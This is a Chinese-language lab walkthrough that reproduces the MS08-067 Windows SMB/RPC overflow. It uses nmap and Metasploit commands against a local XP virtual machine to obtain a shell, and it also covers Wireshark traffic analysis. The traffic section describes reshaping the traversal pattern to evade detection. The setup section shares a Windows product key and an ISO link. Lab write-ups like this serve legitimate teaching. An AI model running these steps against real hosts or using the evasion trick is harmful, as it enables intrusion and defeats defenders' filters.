一.漏洞描述
MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。
通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。而NetpwPathCanonicalize函数在远程访问其他主机时,会调用CanonicalizePathName函数,对远程访问的路径进行规范化(将路径字符串中的'/'转换为'\',同时去除相对路径".\"和"..\"),而在CanonicalizePathName函数中调用的RemoveLegacyFolder发生了栈缓冲区溢出,可以造成RCE。利用该漏洞可以达到远程代码执行的效果,通过使用不同的shellcode,可以实现任意功能,但是shellcode空间大小有限制。
它影响了某些旧版本的Windows系统,包括:
- Windows 2000
- Windows XP
- Windows Server 2003
二.环境搭建
使用WMware 安装虚拟机
通过百度网盘分享的文件:sc_winxp_home_with_sp2.iso
链接:https://pan.baidu.com/s/14oxOrWWEj4m4oDH2Bzw5ew?pwd=rx2o
提取码:rx2o
步骤一:文件新建,出现虚拟机安装向导,选择自定义(高级)
步骤二:点下一步后面默认下一步,第三部我们选择安装程序光盘映像文件,就是我百度盘里下好的哪个,会自动识别操作系统开始安装。
步骤三:输入密钥,可以百度到很多
- XP家庭版密钥: 3FKBQ-32TH7-D3TJB-YBWTQ-D26VQKXDVQ
步骤四:后面的参数全用默认就行,等待安装,进度很慢我等了大概三十分钟
kali linux的安装不再赘述,很多csdn的博客都有详细的安装教程
kali Linux 安装教程(保姆级)_kali linux安装-CSDN博客
三.漏洞复现
攻击机Kali ip地址:192.168.52.128
靶机windows xp ip地址: 192.168.52.133
网卡选择NAT地址转换,默认使用WMware 8 号网卡,选择nat地址转换会给虚拟机自动分配IP不用手动调试。
windows XP环境关闭防火墙
使用nmap -sT -O -p 445 192.168.52.133 扫描靶机系统(-O识别操作系统 -sT使用TCP协议 -p指定端口)
使用 nmap -sV -sT --script=vuln -p 445 192.168.52.133 (sV服务探测,sT TCP协议 --script=vuln 是namp的漏洞脚本扫描)下图中扫出来了两个MS17-010也是很著名的“永恒之蓝”漏洞,今天我们使用下一个。
控制台输入 msfconsole 启动msf
输入search ms08
输入 use 0 进入漏洞
输入show options 查看漏洞利用选项这里监听端口和监听地址有默认的我们可以直接用如果没有的可以设置
lhost:kali攻击机IP地址 lport:kali攻击机监听端口 rhosts 靶机IP
输入 set rhosts 192.168.52.133
show targets 查看payload参数 根据安装的ISO镜像选择
如果靶机搭建和我一样就输入 set targets10
输入 run 或者 exploit 弹出后输入shell成功获取靶机权限
四.流量分析
本地网卡设置混杂模式,监听wmWare 8 网卡
使用Wireshark捕获攻击流量,MS08-067的漏洞触发的条件之一是RPC的参数Path中存在路径穿越 /../../;此特征较明显。
可以根据其在CanonicalizePathName函数中,会在调用RemoveLegacyFolder,自动将/替换为\的功能点,可以将其变换成形式,如./.\./来绕过拦截。
五.常见错误
我们在运行exploit执行漏洞利用模块时,有时会有相关错误。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host
Windows XP系统关闭防火墙
target参数未能正确设置
如果target参数设置错误需重启靶机,否则run后payload会驻留在靶机内存中,导致靶机smb服务无法访问。